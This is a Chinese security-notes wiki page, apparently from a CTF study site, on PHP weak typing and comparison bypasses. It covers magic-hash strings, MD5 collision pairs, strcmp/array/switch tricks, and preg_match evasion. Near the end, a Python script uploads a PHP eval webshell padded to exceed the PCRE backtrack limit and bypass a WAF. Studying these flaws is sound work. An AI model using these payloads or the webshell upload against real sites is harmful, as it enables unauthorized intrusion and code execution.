网安
  • Develop
    • JAVA学习
      • 字节码
      • API开发
      • Web开发
      • 工程结构推荐
      • 创建第一个项目
      • 权限管控
      • 配置文件
      • 日志管理
      • 数据访问
      • 性能监控
      • IoC容器
      • Spring
      • Filter与Listener
      • jsp
      • MVC
      • servlet-1
      • servlet-2
      • servlet-3
      • servlet-4
      • FreeMarker
      • Thymeleaf
      • EL
      • SpEL
      • JSTL
      • 部署
      • JDBC
      • 数据库连接池
      • fastjson
      • jackson
      • XML
      • JSON
      • 序列化
      • Maven
      • 安装与使用
      • 工具
      • 爬虫
    • GO学习
      • GO
        • flag 包
        • goland 远程调试
        • GoReleaser
        • OS 包
        • time 包
        • 格式化输出
    • Lua学习
      • Lua
      • 基础语法
      • LuaJIT
      • 与系统交互
    • Pyhon
      • 基础
      • Django
      • CLI
      • miniforge
      • MockingBird
      • pdb
      • pyc
      • 装的我脑血栓要犯了
      • Python101
      • 反序列化
      • 爬虫
      • Pillow
      • 图像识别
      • flask
    • Speed-Ruby
      • 入门1
      • 入门2 对象
      • 入门3 创建命令
      • Encoding类
      • File类与Dir类
      • IO
      • Proc类
      • Time类与Date类
      • 正则
      • 错误处理与异常
      • 对象、变量和常量
      • 方法
      • 数值
      • 数组
      • 条件判断
      • 循环
      • 运算符
      • Socket编程
      • 字符串
      • 并发与线程
      • 块
      • 类和模块
      • 散列
    • Web
      • HTTP
        • Connection
        • HTTP 报文
        • Vary
      • 笔记
        • 跳转
        • 认证 & 授权
        • 同源策略(SOP)
        • 文件
    • Git 学习笔记
    • JSON
      • JSON 学习笔记
    • HTML
      • Speed-HTML
      • 语法学习
      • HTML字符实体
    • XML
      • XML 学习笔记
    • 计算机基础
      • 操作系统
      • 计算机组成
      • 算法
      • 内存
      • 字符编码
    • gnuplot 学习笔记
    • regex
  • Integrated
    • Linux
      • God-Linux
      • Secure-Linux
      • Power-Linux
      • IO模型
      • Speed-Linux
      • 发行版
      • 工具
      • 启动过程
      • 进程
      • 认证
      • 日志
      • 守护进程
      • 文件
      • 信息
      • VSFTP 配置案例
      • auditd
      • containerd
      • DNS 配置案例
      • Docker
      • Docker-Compose
      • firewalld 实验
      • gpg
      • Iptables
      • httpd
      • LAMP
      • mysql
      • nfs 配置案例
      • openssl
      • PAM
      • samba 配置案例
      • terraform
      • ufw
      • VSFTP 配置案例
    • Network
      • Speed-Net
      • Power-Net
      • SDN 笔记
      • DNS
      • TLS
    • Windows
      • Secure-Win
      • Speed-Win
      • ACL
      • LDAP
      • IPC$(Internet Process Connection)
      • PDB符号文件
      • 工作组
      • WinRM
      • 角色权限
      • 凭据
      • 签名
      • 日志
      • 认证
      • 协议
      • 信息
      • 应用
      • 组策略
      • 域
      • asp站点搭建
      • Exchange 搭建
      • Windows 故障转移集群
      • Windows 基础服务搭建
      • Windows 域搭建
      • 本地抓包
      • PowerShell 笔记
    • 容器
      • Docker
    • 数据库
      • Speed-SQL
      • Power-SQL
      • MSSQL
      • MySQL
      • Postgresql
      • Redis
      • MySQL大小写问题
      • 主键和外键
      • MySQL快速入门
      • 虚拟化
        • ESXi
        • vCenter
  • Plan
    • Mac-Plan
    • Misc-Plan
    • Team-Plan
    • Thinking-Plan
    • VM-Plan
  • Sercurity
    • Power-PenTest
    • BlueTeam
      • 安全建设
      • 分析
      • 加固
      • 取证
      • 应急
      • USB取证
      • 磁盘取证
      • 内存取证
      • ClamAV 部署
      • yara 实验
      • 安防设施搭建使用
      • ZIP明文攻击
      • 流量分析
    • Crypto
      • Crypto
        • 2020 9 G60攻防大赛
        • CTF
        • 2020 9 中能融合杯工控CTF
        • 2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛
        • 2020 10 全国网络与信息安全管理职业技能大赛江苏场
        • 2020 11 I²S峰会暨工业互联网安全大赛
        • 2021 6 第二届I²S峰会暨工业互联网安全大赛
        • 2021-9-第七届工控信息安全攻防竞赛
        • 2021 9 第七届全国职工职业技能大赛某市县选拔赛
        • 2021 9 全国网络与信息安全管理职业技能大赛江苏场
        • 2021-10-G60攻防大赛
    • CTF
      • CTF
      • writeup
        • 2020 9 中能融合杯工控CTF
        • 2020 9 G60攻防大赛
        • 2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛
        • 2020 10 全国网络与信息安全管理职业技能大赛江苏场
        • 2020 11 I²S峰会暨工业互联网安全大赛
        • 2021 6 第二届I²S峰会暨工业互联网安全大赛
        • 2021-9-第七届工控信息安全攻防竞赛
        • 2021 9 第七届全国职工职业技能大赛某市县选拔赛
        • 2021 9 全国网络与信息安全管理职业技能大赛江苏场
        • 2021-10-G60攻防大赛
    • ICS
      • PLC攻击
      • S7comm 相关
      • 工控协议
      • 上位机安全
      • Modbus 仿真环境搭建
      • siemens 仿真搭建实验
      • S7-300 启停实验
    • IOT
      • 无线电安全
        • RFID复制卡
        • RFID基础知识
        • WiFikiller
      • 硬件安全
        • DIY键盘嵌入指纹识别模块实验记录
        • Device-Exploits
        • HID-Digispark
        • HID-KeyboardLogger
        • HID-USBHarpoon
        • HID-USBKeyLogger
      • 固件安全
        • 固件安全
        • Dlink_DWR-932B 路由器固件分析
    • Mobile sec
      • 小程序安全
      • Android安全
    • PWN
      • SLMail溢出案例
      • PWN
    • Red Team
      • OS安全
        • Linux 安全
        • Exploits
        • NTLM中继
        • Windows 安全
        • Responder欺骗
        • Windows-LOL
      • Web_Generic
        • Top 10
          • RCE
          • Fileread
          • SQLi
          • SSRF
          • SSTI
          • Web Generic
          • XSS
          • XXE
      • Web_Tricks
        • JWT 安全
        • HTTP_request_smuggling
        • OOB
        • 绕过访问
      • 靶场
        • Hello-Java-Sec 学习
        • DVWA-WalkThrough
        • pikachu-WalkThrough
        • upload-labs-WalkThrough
        • XVWA-WalkThrough
        • XSS挑战-WalkThrough
      • 实验
        • flask
        • fastjson
        • Log4j
        • nodejs
        • Shiro
        • Spring
        • Weblogic
      • 前端攻防
      • IDOR
    • 安防设备
      • Exploits
      • Bypass 技巧
    • 后渗透
      • 权限提升
      • 后渗透
      • 权限维持
      • 实验
        • C2 实验
        • Exchange
        • 端口转发实验
        • 代理实验
        • 免杀实验
        • 隧道实验
    • 软件服务安全
      • Exploits
      • CS Exploits
      • 实验
        • Docker
        • Kubernetes
        • Mysql
        • Oracle
        • PostgreSQL
        • Redis
        • vCenter
    • 协议安全
      • Exploits
    • 信息收集
      • 端口安全
      • 空间测绘
      • 信息收集
    • 语言安全
      • 语言安全
        • 语言安全
      • GO安全
        • GO安全
        • Go代码审计
      • JAVA安全
        • JAVA安全
        • JAVA代码审计
        • JAVA反序列化
        • SpEL 注入
      • PHP安全
        • PHP安全
        • bypass_disable_function
        • bypass_open_basedir
        • phpinfo
        • PHP代码审计
        • PHP反序列化
        • PHP回调函数
        • 变量覆盖
        • POP
        • 弱类型
        • 伪协议
        • 无字母数字Webshell
      • Python安全
        • pyc反编译
        • Python安全
        • Python 代码审计
        • 沙箱逃逸
      • dotnet安全
      • JS安全
    • 云安全
      • 公有云安全
    • Reverse
      • Reverse
      • FILE
        • ELF
        • BMP
        • JPG
        • PE
        • PNG
        • ZIP
        • 文件头
      • 实验
        • PYAble
          • 2-逆运算
          • 1-基本分析
          • 3-异或
          • 4-Base64
          • 5-Base64换表
          • 6-动态调试
        • Windows
          • condrv.sys 内存损坏漏洞
    • 工具
      • Aircrack
      • BloodHound
      • Burp Suite
      • frp
      • CobaltStrike
      • Ghidra
      • fscan
      • Hashcat
      • IDA
      • merlin
      • Kali
      • Metasploit
      • Mimikatz
      • ModSecurity
      • Nmap
      • nps
      • nuclei
      • pupy
      • RedGuard
      • SET
      • sliver
      • Snort
      • Sqlmap
      • Suricata
      • Sysmon
      • uncover
      • Volatility
      • Wfuzz
      • Wireshark
      • xray
    • 安全资源
      • 靶机
        • VulnHub
          • DC
            • DC2 WalkThrough
            • DC1 WalkThrough
            • DC3 WalkThrough
            • DC4 WalkThrough
            • DC5 WalkThrough
            • DC6 WalkThrough
            • DC9 WalkThrough
            • DC8 WalkThrough
          • It's_October
            • It’s_October1 WalkThrough
          • Kioptrix
            • Kioptrix2 WalkThrough
            • Kioptrix3 WalkThrough
            • Kioptrix4 WalkThrough
            • Kioptrix5 WalkThrough
          • Mission-Pumpkin
            • PumpkinGarden-WalkThrough
            • PumpkinFestival WalkThrough
            • PumpkinRaising WalkThrough
          • Symfonos
            • symfonos1 WalkThrough
            • symfonos2 WalkThrough
            • symfonos3 WalkThrough
            • symfonos5 WalkThrough
        • Wargames
          • Bandit
            • Bandit-WalkThrough
      • 面试问题
        • 面试问题
Powered by GitBook
On this page
  • 松散比较
  • Hash比较缺陷
  • 双md5结果仍为0e开头字符串
  • $md5=md5($md5)
  • md5($str,true)注入
  • md5 强比较
  • MD4
  • MD2
  • shal
  • 布尔欺骗
  • 数字转换欺骗
  • strcmp 绕过
  • switch 绕过
  • array_search is_array 绕过
  • preg_match 绕过
  1. Sercurity
  2. 语言安全
  3. PHP安全

弱类型

PreviousPOPNext伪协议

相关文章 & Source & Reference

相关 writeup


松散比较

php中有两种比较的符号 == 与 ===

  • 严格比较 : === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较

  • 松散比较 : == 在进行比较的时候,会先将字符串类型转化成相同,再比较,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

<?php
var_dump("admin"==0);               //true
var_dump("1admin"==1);              //true
var_dump("admin1"==1)               //false
var_dump("admin1"==0)               //true
var_dump("0e123456"=="0e4456789");  //true
?>

观察上述代码,"admin"==0 比较的时候,会将 admin 转化成数值,强制转化, 由于 admin 是字符串,转化的结果是 0 自然和 0 相等

"1admin"==1 比较的时候会将 1admin 转化成数值, 结果为 1

"0e123456"=="0e456789" 相互比较的时候,会将 0e 这类字符串识别为科学技术法的数字,0 的无论多少次方都是零,所以相等

“admin1“==1 却等于错误,也就是 "admin1" 被转化成了 0, 为什么呢??

  • 当一个字符串被当作一个数值来取值,其结果和类型如下: 如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内该字符串被当作 int 来取值,其他所有情况下都被作为 float 来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为 0。

<?php
$test=1 + "10.5";       // $test=11.5(float)
$test=1+"-1.3e3";       //$test=-1299(float)
$test=1+"bob-1.3e3";    //$test=1(int)
$test=1+"2admin";       //$test=3(int)
$test=1+"admin2";       //$test=1(int)
?>

Hash比较缺陷

CTF 比赛中需要用到弱类型 HASH 比较缺陷最明显的标志便是管理员密码 MD5 之后的值是以 0e 开头

<?php
if (isset($_GET['Username']) && isset($_GET['password'])) {
    $logined = true;
    $Username = $_GET['Username'];
    $password = $_GET['password'];

     if (!ctype_alpha($Username)) {$logined = false;}
     if (!is_numeric($password) ) {$logined = false;}
     if (md5($Username) != md5($password)) {$logined = false;}
     if ($logined){
    echo "successful";
      }else{
           echo "login failed!";
        }
    }
?>

题目大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句

在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较

0e 在比较的时候会将其视作为科学计数法,所以无论 0e 后面是什么,0 的多少次方还是 0。

ej0D
ek06
el08
eo0n
ey0M
ey0O
ez0s
e006
e10l
eU3Z
eW3vfSoL
fToh
fTo1
fUoU
fYou
fapF
fbpf
fdpF
fnpZ
fppr
fqpa
frpj
fwpD
fyp5
f1p2
f4pN
f7pu
fDpQ
fHpP
fIp4
fJpX
fLpv
fOpi
fQp3
fTpi
fVpz
feqN
fjqN
fvq1
fyqy
fAqJ
fEqk
fFqg
fFqi
fHqX
fIqF
fKqh
fLq6
fQq6
fQqA
fRql
fUq4
fUqA
fXq0
farg
farJ
ftrT
f7rm
fCrB
fErY
fIrt
QNKCDZO
s878926199a
s155964671a
s214587387a
s214587387a
s878926199a
240610708
314282422
s1502113478a
s1091221200a

以上字符 md5 开头都是 0e,即可绕过验证

可以用下列脚本寻找

<?php
for($a=1;$a<=1000000000;$a++){
   $md5 = md5($a);
   if(preg_match('/^0e\d+$/',$md5)){
      echo $a;
      echo "\n";
      echo $md5;
      echo "\n";
   }
}

双md5结果仍为0e开头字符串

CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af


770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064


7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f

$md5=md5($md5)

md5('0e215962017') ==> “0e291242476940776845150308577824”

md5($str,true)注入

ffifdyop
4SV7p
bJm4aG
bNas5p
ckHAEb

md5 强比较

二进制md5加密 b8c21b7bfde6adea3a438f22e6672789
url编码 test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00F%D5%E6R%C99%14%F3%95p%D0f%C9%17%90%1D%2C%27%5Bn_%F2%16%DAV%FA9%7Dj%0C%09%E5%BF%C3%C9%E0%DC%E58K%8B%10%EA%A2%EF_%BC%60%27%B2%A1%D9_%FF%E6%B78%8C%9F%5Ck6%EF%89N%D1%013%19%03%BAb%BB%9F.%9B%E7%7CPd%23%A3%C8S8%1C%02%D9%09%B3%107%2B%60%88%D7%D7%F3pD%AFBL%F4y%3CH%9B%94%9C%F6%3E%60u%D2%9Cf%1F%3B%EF%B3M%C6%88%ABS%19%2C

二进制md5加密 b8c21b7bfde6adea3a438f22e6672789
url编码 test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00F%D5%E6R%C99%14%F3%95p%D0f%C9%17%90%1D%2C%27%5B%EE_%F2%16%DAV%FA9%7Dj%0C%09%E5%BF%C3%C9%E0%DC%E58K%8B%10%EA%A2%EF%DF%BC%60%27%B2%A1%D9_%FF%E6%B78%8C%9F%DCk6%EF%89N%D1%013%19%03%BAb%BB%9F.%9B%E7%7CPd%23%A3%C8%D38%1C%02%D9%09%B3%107%2B%60%88%D7%D7%F3pD%AFBL%F4y%3CH%9B%94%1C%F6%3E%60u%D2%9Cf%1F%3B%EF%B3M%C6%08%ABS%19%2C
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2


%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

MD4

if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//0e251288019
//0e898201062

MD2

<?php
for($i=0;$i<99999;$i++){
$x1=hash("md2", '0e'.$i.'024452');
if(substr($x1,0,2)==='0e'  and is_numeric($x1)){
break;
}
}
for($j=0;$j<999999;$j++){
$x2=hash('md2',hash("md2", '0e'.$j.'48399'));
if(substr($x2,0,2)==='0e'  and is_numeric($x2)){
break;
}
}
print('b=0e'.$i.'024452&c=0e'.$j.'48399');
?>

// b=0e652024452&c=0e603448399

shal

if(sha1($v1)==sha1($v2) && $v1!=$v2){

// aaroZmOk
// aaK1STfY
// aaO8zKZF
// aa3OFF9m

布尔欺骗

当存在 json_decode 和 unserialize 时,部分结构会被解释为 bool 类型,会造成欺骗

<?php
if (isset($_POST['message'])) {
    $message = json_decode($_POST['message']);
    $key ="*********";
    if ($message->key == $key) {
        echo "flag";
    }
    else {
        echo "fail";
    }
 }
 else{
     echo "~~~~";
 }
?>

输入一个 json 类型的字符串,json_decode 函数解密成一个数组,判断数组中 key 的值是否等于 $key 的值,但是 $key 的值我们不知道,但是可以利用 0=="admin" 这种形式绕过

最终 payload message={"key":0}


数字转换欺骗

var_dump(intval('2'))               # 输出为 int(2)
var_dump(intval('3bc'))             # 输出为 int(3)
var_dump(intval('abcd'))            # 输出为 int(0)
#intval() 用于获取变量的整数值
var_dump(0.9999999999999999999==1)  # 输出为 true
<?php
echo 6e6;           # 输出为 6000000
echo (int)'6e6';    # 输出为 6

strcmp 绕过

strcmp 是比较两个字符串,如果 str1 < str2 则返回 < 0 如果 str1 大于 str2 返回> 0 如果两者相等 返回 0

<?php
$password="***************";
if(isset($_POST['password'])){

    if (strcmp($_POST['password'], $password) == 0) {
        echo "Right!!!login success";
        exit();
    } else {
        echo "Wrong password..";
    }}
?>

我们是不知道 $password 的值的,题目要求 strcmp 判断的接受的值和 $password 必需相等,strcmp 传入的期望类型是字符串类型,如果传入的是个数组会怎么样呢

我们传入 password[]=xxx 可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等

payload: password[]=xxx


switch 绕过

<?php
$a="4admin";
switch ($a) {
    case 1:
        echo "fail1";
        break;
    case 2:
        echo "fail2";
        break;
    case 3:
        echo "fail3";
        break;
    case 4:
        echo "sucess";  //结果输出success;
        break;
    default:
        echo "failall";
        break;
}
?>

switch() 其中 () 内的值会被弱类型转换


array_search is_array 绕过

<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
    if($test[$i]==="admin"){
        echo "error";
        exit();
    }
    $test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
    echo "flag";
}
else{
    echo "false";
}
?>

先判断传入的是不是数组,然后循环遍历数组中的每个值,并且数组中的每个值不能和 admin 相等,并且将每个值转化为 int 类型,再判断传入的数组是否有 admin,有则返回 flag

payload test[]=0 可以绕过

下面是官方手册对 array_search 的介绍

mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )

$needle,$haystack 必需,$strict 可选 函数判断 $haystack 中的值是存在 $needle,存在则返回该值的键值 第三个参数默认为 false,如果设置为 true 则会进行严格过滤

<?php
$a=array(0,1);
var_dump(array_search("admin",$a));     // int(0) => 返回键值0
var_dump(array_search("1admin",$a));    // int(1) ==>返回键值1
?>

array_search 函数 类似于 == 也就是 $a=="admin" 当然是 $a=0 当然如果第三个参数为 true 则就不能绕过


preg_match 绕过

数组绕过

preg_match 只能处理字符串,当传入的 subject 是数组时会返回 false

PCRE 回溯次数限制

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(!is_php($input)) {
    // fwrite($f, $input); ...
}

pcre.backtrack_limit 给 pcre 设定了一个回溯次数上限,默认为 1000000,如果回溯次数超过这个数字,preg_match 会返回 false

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://1.1.1.1:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

很多基于 PHP 的 WAF,如:

if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

均存在上述问题,通过大量回溯可以进行绕过。

还有一种是

if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF.

当使用 === 全等号匹配时,不会有这个问题

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

换行符

. 不会匹配换行符,如

if (preg_match('/^.*(flag).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
}

只需要

$json="\nflag"

而在非多行模式下,$ 似乎会忽略在句尾的 %0a

if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
    echo $flag;
}

只需要传入

?a=flag%0a
PHP弱类型你真的懂了吗?
php 弱类型总结
PHP弱类型hash比较缺陷
ctf php弱类型、松散比较、哈希缺陷、MD5绕过、变量覆盖
浅谈md5弱类型比较和强碰撞
MD5相关
preg_match绕过总结
PHP利用PCRE回溯次数限制绕过某些安全限制
ISITDTU CTF 2019 EasyPHP 回顾